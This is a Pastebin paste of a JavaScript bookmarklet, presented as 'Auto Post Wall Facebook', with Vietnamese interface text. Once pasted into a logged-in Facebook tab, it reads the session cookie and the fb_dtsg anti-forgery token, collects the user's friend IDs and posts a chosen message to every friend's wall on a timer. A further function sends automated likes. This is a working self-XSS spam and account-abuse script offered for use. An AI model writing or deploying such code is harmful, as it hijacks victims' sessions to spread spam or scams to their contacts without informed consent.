SHARE
TWEET

duchong

a guest Nov 25th, 2013 2,611 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. javascript: var grouppost = "<div><span class='img sp_f52w7l sx_47132d'></span><a style='position:absolute;size:3px;padding-left:3px;font-weight:bold;font-family:Tahoma;font-size:11px;color:#3B5998;'>Auto Post Wall Facebook - Ð?C H?NG</a></div></br>";
  2.  
  3. grouppost += "<div><textarea id='txtFloodMsg' placeholder='Nh?p n?i dung c?n post' style='COLOR:WHITE;padding-top:5px;width:493px;height:85px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);'></textarea></div>";
  4.  
  5. grouppost += "<div><br><span class='img sp_dpkef5 sx_f05251'></span><a style='position:absolute;font-family:Arial;size:3px;padding-left:3px;font-size:11px;color:rgb(128, 128, 128);'>Cover : Ð?C H?NG </a></span><button style='margin-left:437px' class='_2 _3 _6 _4 _5 selected' onclick='autopostingfunc(this);' >Post</button><div style='color:gray;'>Ngu?n : Ð?C H?NG</br>Made by:</A><A style='color:#3B5998;' href='https://www.facebook.com/Fc.Duc.Hong' target='_0'> Ð?C H?NG</A></A>,<A style='color:#3B5998;' href='https://www.facebook.com/Fc.Duc.Hong' target='_0'> </A></A>,</A><A style='color:#3B5998;' href='https://www.facebook.com/Fc.Duc.Hong' target='_0'> </A></A>.</br>Web : <A style='color:#3B5998;' href='https://www.facebook.com/Fc.Duc.Hong' target='_0'>https://www.facebook.com/Fc.Duc.Hong</A>.</A><br></div>";
  6.  
  7. var Popupset = document.createElement("div");
  8.  
  9. Popupset.setAttribute("style", "min-height:50px;width:500px;position:fixed;top:100px;box-shadow: 0px 4px 10px rgba(24, 144, 255, 0.63);position:fixed;left:50%;margin-left:-273px;text-align:left;border-radius:10px;padding:5px;z-index:999999;border:5px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:White");
  10.  
  11. Popupset.innerHTML = grouppost;
  12.  
  13. document.body.appendChild(Popupset);
  14.  
  15. jx = {
  16.  
  17.     getHTTPObject: function () {
  18.  
  19.         var A = false;
  20.  
  21.         if (typeof ActiveXObject != "undefined") try {
  22.  
  23.             A = new ActiveXObject("Msxml2.XMLHTTP")
  24.  
  25.         } catch(C) {
  26.  
  27.             try {
  28.  
  29.                 A = new ActiveXObject("Microsoft.XMLHTTP")
  30.  
  31.             } catch(B) {
  32.  
  33.                 A = false
  34.  
  35.             }
  36.  
  37.         } else if (window.XMLHttpRequest) try {
  38.  
  39.             A = new XMLHttpRequest
  40.  
  41.         } catch(C) {
  42.  
  43.             A = false
  44.  
  45.         }
  46.  
  47.         return A
  48.  
  49.     },
  50.  
  51.     load: function (url, callback, format, method, opt) {
  52.  
  53.         var http = this.init();
  54.  
  55.         if (!http || !url) return;
  56.  
  57.         if (http.overrideMimeType) http.overrideMimeType("text/xml");
  58.  
  59.         if (!method) method = "GET";
  60.  
  61.         if (!format) format = "text";
  62.  
  63.         if (!opt) opt = {};
  64.  
  65.         format = format.toLowerCase();
  66.  
  67.         method = method.toUpperCase();
  68.  
  69.         var now = "uid=" + (new Date).getTime();
  70.  
  71.         url += url.indexOf("?") + 1 ? "&" : "?";
  72.  
  73.         url += now;
  74.  
  75.         var parameters = null;
  76.  
  77.         if (method == "POST") {
  78.  
  79.             var parts = url.split("?");
  80.  
  81.             url = parts[0];
  82.  
  83.             parameters = parts[1]
  84.  
  85.         }
  86.  
  87.         http.open(method, url, true);
  88.  
  89.         var ths = this;
  90.  
  91.         if (opt.handler) http.onreadystatechange = function () {
  92.  
  93.             opt.handler(http)
  94.  
  95.         };
  96.  
  97.         else http.onreadystatechange = function () {
  98.  
  99.             if (http.readyState == 4) if (http.status == 200) {
  100.  
  101.                 var result = "";
  102.  
  103.                 if (http.responseText) result = http.responseText;
  104.  
  105.                 if (format.charAt(0) == "j") {
  106.  
  107.                     result = result.replace(/[ \r]/g, "");
  108.  
  109.                     result = eval("(" + result + ")")
  110.  
  111.                 } else if (format.charAt(0) == "x") result = http.responseXML;
  112.  
  113.                 if (callback) callback(result)
  114.  
  115.             } else {
  116.  
  117.                 if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  118.  
  119.                 if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  120.  
  121.                 if (error) error(http.status)
  122.  
  123.             }
  124.  
  125.         };
  126.  
  127.         http.send(parameters)
  128.  
  129.     },
  130.  
  131.     bind: function (A) {
  132.  
  133.         var C = {
  134.  
  135.             "url": "",
  136.  
  137.             "onSuccess": false,
  138.  
  139.             "onError": false,
  140.  
  141.             "format": "text",
  142.  
  143.             "method": "GET",
  144.  
  145.             "update": "",
  146.  
  147.             "loading": "",
  148.  
  149.             "loadingIndicator": ""
  150.  
  151.         };
  152.  
  153.         for (var B in C) if (A[B]) C[B] = A[B];
  154.  
  155.         if (!C.url) return;
  156.  
  157.         var D = false;
  158.  
  159.         if (C.loadingIndicator) {
  160.  
  161.             D = document.createElement("div");
  162.  
  163.             D.setAttribute("style", "position:absolute;top:0px;left:0px;");
  164.  
  165.             D.setAttribute("class", "loading-indicator");
  166.  
  167.             D.innerHTML = C.loadingIndicator;
  168.  
  169.             document.getElementsByTagName("body")[0].appendChild(D);
  170.  
  171.             this.opt.loadingIndicator = D
  172.  
  173.         }
  174.  
  175.         if (C.loading) document.getElementById(C.loading).style.display = "block";
  176.  
  177.         this.load(C.url, function (E) {
  178.  
  179.             if (C.onSuccess) C.onSuccess(E);
  180.  
  181.             if (C.update) document.getElementById(C.update).innerHTML = E;
  182.  
  183.             if (D) document.getElementsByTagName("body")[0].removeChild(D);
  184.  
  185.             if (C.loading) document.getElementById(C.loading).style.display = "none"
  186.  
  187.         },
  188.  
  189.         C.format, C.method, C)
  190.  
  191.     },
  192.  
  193.     init: function () {
  194.  
  195.         return this.getHTTPObject()
  196.  
  197.     }
  198.  
  199. };
  200.  
  201. var j = 0;
  202.  
  203. var k = 0;
  204.  
  205. var suc = 0;
  206.  
  207. var msg = "Auto post by Vipthaibinh95";
  208.  
  209. var arr = new Array;
  210.  
  211. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  212.  
  213. function autopostingfunc(sender) {
  214.  
  215.     if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  216.  
  217.     jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=user&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (a) {
  218.  
  219.         var b = a;
  220.  
  221.         var c = b.substring(b.indexOf("{"));
  222.  
  223.         var d = JSON.parse(c);
  224.  
  225.         d = d.payload.entries;
  226.  
  227.         for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  228.  
  229.         sender.parentNode.innerHTML = "Please Wait...";
  230.  
  231.         postitok()
  232.  
  233.     })
  234.  
  235. }
  236.  
  237. var a = document.body.innerHTML;
  238.  
  239. var dts = document.getElementsByName("fb_dtsg")[0].value;
  240.  
  241. var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  242.  
  243. function postitok() {
  244.  
  245.     pst = "fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + arr[suc] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_1]=pagelet_group_composer";
  246.  
  247.     with(newx = new XMLHttpRequest) open("POST", "/ajax/updatestatus.php?__a=1"),
  248.  
  249.     send(pst);
  250.  
  251.     suc++;
  252.  
  253.     if (suc > arr.length) {
  254.  
  255.         alert("Auto Posting Completed. Now Refresh your Homepage.");
  256.  
  257.         suc = 0
  258.  
  259.     } else setTimeout("postitok()", 3E4 / arr.length)
  260.  
  261. }
  262.  
  263. setTimeout("autopostingfunc()", 1E3);
  264.  
  265. function P(post) {
  266.  
  267.     var X = new XMLHttpRequest();
  268.  
  269.     var XURL = "//www.facebook.com/ajax/ufi/like.php";
  270.  
  271.     var XParams = "like_action=true&ft_ent_identifier=" + post + "&source=1&client_id=" + now + "%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=250210418464527&ft[mf_story_key]=" + post + "&nctr[_1]=pagelet_home_stream&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg=" + fb_dtsg + "&phstamp=";
  272.  
  273.     X.open("POST", XURL, true);
  274.  
  275.     X.onreadystatechange = function () {
  276.  
  277.         if (X.readyState == 4 && X.status == 200) {
  278.  
  279.             X.close
  280.  
  281.         }
  282.  
  283.     };
  284.  
  285.     X.send(XParams)
  286.  
  287. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top